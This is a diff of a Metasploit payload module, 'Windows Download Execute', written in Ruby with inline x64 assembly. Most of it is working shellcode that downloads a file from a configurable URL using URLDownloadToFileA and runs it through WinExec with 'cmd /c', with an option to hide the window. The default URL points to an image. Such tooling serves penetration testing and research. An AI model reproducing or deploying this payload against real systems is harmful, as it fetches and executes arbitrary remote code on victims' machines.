|
4 | 4 | ##
|
5 | 5 |
|
6 | 6 | module MetasploitModule
|
7 |
| - include Msf::Payload::Single |
8 |
| - include Msf::Payload::Windows |
9 |
| - include Msf::Payload::Windows::BlockApi_x64 |
10 | 7 |
|
11 |
| - def initialize(info = {}) |
12 |
| - super( |
13 |
| - update_info( |
14 |
| - info, |
15 |
| - 'Name' => 'Windows Download Execute', |
16 |
| - 'Description' => 'Downloads and executes the file from the specified url.', |
17 |
| - 'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>', |
18 |
| - 'License' => MSF_LICENSE, |
19 |
| - 'Platform' => 'win', |
20 |
| - 'Arch' => ARCH_X64 |
21 |
| - ) |
22 |
| - ) |
| 8 | + include Msf::Payload::Single |
| 9 | + include Msf::Payload::Windows |
| 10 | + include Msf::Payload::Windows::BlockApi_x64 |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Windows Download Execute', |
| 17 | + 'Description' => 'Downloads and executes the file from the specified url.', |
| 18 | + 'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>', |
| 19 | + 'License' => MSF_LICENSE, |
| 20 | + 'Platform' => 'win', |
| 21 | + 'Arch' => ARCH_X64 |
| 22 | + ) |
| 23 | + ) |
| 24 | + |
| 25 | + display_options = ['HIDE', 'SHOW'] |
23 | 26 |
|
24 |
| - display_options = %w[HIDE SHOW] |
| 27 | + register_options( |
| 28 | + [ |
| 29 | + OptString.new('URL', [true, 'The url to download the file from.', 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg']), |
| 30 | + OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.jpg']), |
| 31 | + OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options]) |
| 32 | + ] |
| 33 | + ) |
| 34 | + end |
25 | 35 |
|
26 |
| - register_options( |
27 |
| - [ |
28 |
| - OptString.new('URL', [true, 'The url to download the file from.', 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg']), |
29 |
| - OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.jpg']), |
30 |
| - OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options]) |
31 |
| - ] |
32 |
| - ) |
33 |
| - end |
| 36 | + def generate(_opts={}) |
34 | 37 |
|
35 |
| - def generate(_opts = {}) |
36 |
| - url = datastore['URL'] || 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg' |
37 |
| - file = datastore['FILEPATH'] || 'fox.jpg' |
38 |
| - display = datastore['DISPLAY'] || 'HIDE' |
| 38 | + url = (datastore['URL'] || 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg') |
| 39 | + file = (datastore['FILEPATH'] || 'fox.jpg') |
| 40 | + display = (datastore['DISPLAY'] || 'HIDE') |
39 | 41 |
|
40 |
| - payload = %^ |
| 42 | + |
| 43 | + payload = %^ |
41 | 44 | cld
|
42 |
| - and rsp, -16 |
| 45 | + and rsp, -16 |
43 | 46 | call main
|
44 | 47 | #{asm_block_api}
|
45 | 48 |
|
46 | 49 | main:
|
47 |
| - pop rbp |
| 50 | + pop rbp |
48 | 51 | call LoadLibrary
|
49 | 52 | db "urlmon.dllK"
|
50 | 53 | ; V, is this the land of do-as-you-please?
|
51 | 54 |
|
52 | 55 | LoadLibrary:
|
53 | 56 | pop rcx ; rcx points to the dll name.
|
54 | 57 | xor byte [rcx+10], 'K' ; null terminator
|
55 |
| - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} |
| 58 | + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','LoadLibraryA')} |
56 | 59 | call rbp ; LoadLibraryA("urlmon.dll")
|
57 | 60 | ; To live alone one must be an animal or a god, says Aristotle. There is yet a third case: one must be both--a philosopher.
|
58 |
| -
|
| 61 | + |
59 | 62 | SetUrl:
|
60 | 63 | call SetFile
|
61 | 64 | db "#{url}A"
|
62 | 65 | ; The Sound of Silence maybe a Careless Whisper?
|
63 |
| -
|
| 66 | + |
64 | 67 | SetFile:
|
65 |
| - pop rdx ; 2nd argument |
| 68 | + pop rdx ; 2nd argument |
66 | 69 | xor byte [rdx+#{url.length}], 'A' ; null terminator
|
67 | 70 | call UrlDownloadToFile
|
68 | 71 | db "#{file}C"
|
69 | 72 | ; Never compromise not even in the face of armageddon.
|
70 |
| -
|
| 73 | + |
71 | 74 | UrlDownloadToFile:
|
72 | 75 | pop r8 ; 3rd argument
|
73 | 76 | xor byte [r8+#{file.length}], 'C' ; null terminator
|
74 | 77 | xor rcx,rcx ; 1st argument
|
75 | 78 | xor r9,r9 ; 4th argument
|
76 |
| - push rcx ; 5th argument |
77 |
| - sub rsp, 8 ; stack alignment |
78 |
| - mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')} |
| 79 | + mov qword [rsp+0x30], rcx ; 5th argument |
| 80 | + mov r10d, #{Rex::Text.block_api_hash('urlmon.dll','URLDownloadToFileA')} |
79 | 81 | call rbp
|
80 | 82 | ; I can see the sun, but even if I cannot see the sun, I know that it exists. And to know that the sun is there - that is living.
|
81 |
| -
|
| 83 | + |
82 | 84 | SetCommand:
|
83 | 85 | call Exec
|
84 | 86 | db "cmd /c #{file}F"
|
85 |
| -
|
| 87 | + |
86 | 88 | Exec:
|
87 | 89 | pop rcx ; 1st argument
|
88 |
| - xor byte [rcx+#{file.length + 7}], 'F' ; null terminator |
89 |
| - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')} |
| 90 | + xor byte [rcx+#{file.length + 7 }], 'F' ; null terminator |
| 91 | + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','WinExec')} |
90 | 92 | xor rdx, rdx ; 2nd argument
|
91 | 93 | ^
|
92 | 94 |
|
93 |
| - if display == 'HIDE' |
94 |
| - hide = %( |
| 95 | + if display == 'HIDE' |
| 96 | + hide = %^ |
95 | 97 | call rbp
|
96 | 98 | ; I am vengeance! I am the night! I am Batman!
|
97 |
| - ) |
98 |
| - payload << hide |
| 99 | + ^ |
| 100 | + payload << hide |
99 | 101 |
|
100 |
| - elsif display == 'SHOW' |
101 |
| - show = %( |
| 102 | + elsif display == 'SHOW' |
| 103 | + show = %^ |
102 | 104 | inc rdx ; SW_NORMAL = 1
|
103 | 105 | call rbp
|
104 | 106 | ; It's our only home. Our heaven and our hell. This is Outer Heaven.
|
105 |
| - ) |
106 |
| - payload << show |
107 |
| - end |
| 107 | + ^ |
| 108 | + payload << show |
| 109 | + end |
108 | 110 |
|
109 |
| - if datastore['EXITFUNC'] == 'process' |
110 |
| - exit_asm = %( |
| 111 | + if datastore['EXITFUNC'] == 'process' |
| 112 | + exit_asm = %^ |
111 | 113 | xor rcx,rcx
|
112 |
| - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} |
| 114 | + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','ExitProcess')} |
113 | 115 | call rbp
|
114 |
| - ) |
115 |
| - payload << exit_asm |
116 |
| - |
117 |
| - elsif datastore['EXITFUNC'] == 'thread' |
118 |
| - exit_asm = %( |
| 116 | + ^ |
| 117 | + payload << exit_asm |
| 118 | + |
| 119 | + elsif datastore['EXITFUNC'] == 'thread' |
| 120 | + exit_asm = %^ |
119 | 121 | xor rcx,rcx
|
120 |
| - mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} |
| 122 | + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','ExitThread')} |
121 | 123 | call rbp
|
122 | 124 | ; She walks in beauty, like the night...
|
123 |
| - ) |
124 |
| - payload << exit_asm |
125 |
| - end |
| 125 | + ^ |
| 126 | + payload << exit_asm |
| 127 | + end |
126 | 128 |
|
127 |
| - Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string |
128 |
| - end |
| 129 | + Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string |
| 130 | + end |
129 | 131 | end
|
0 commit comments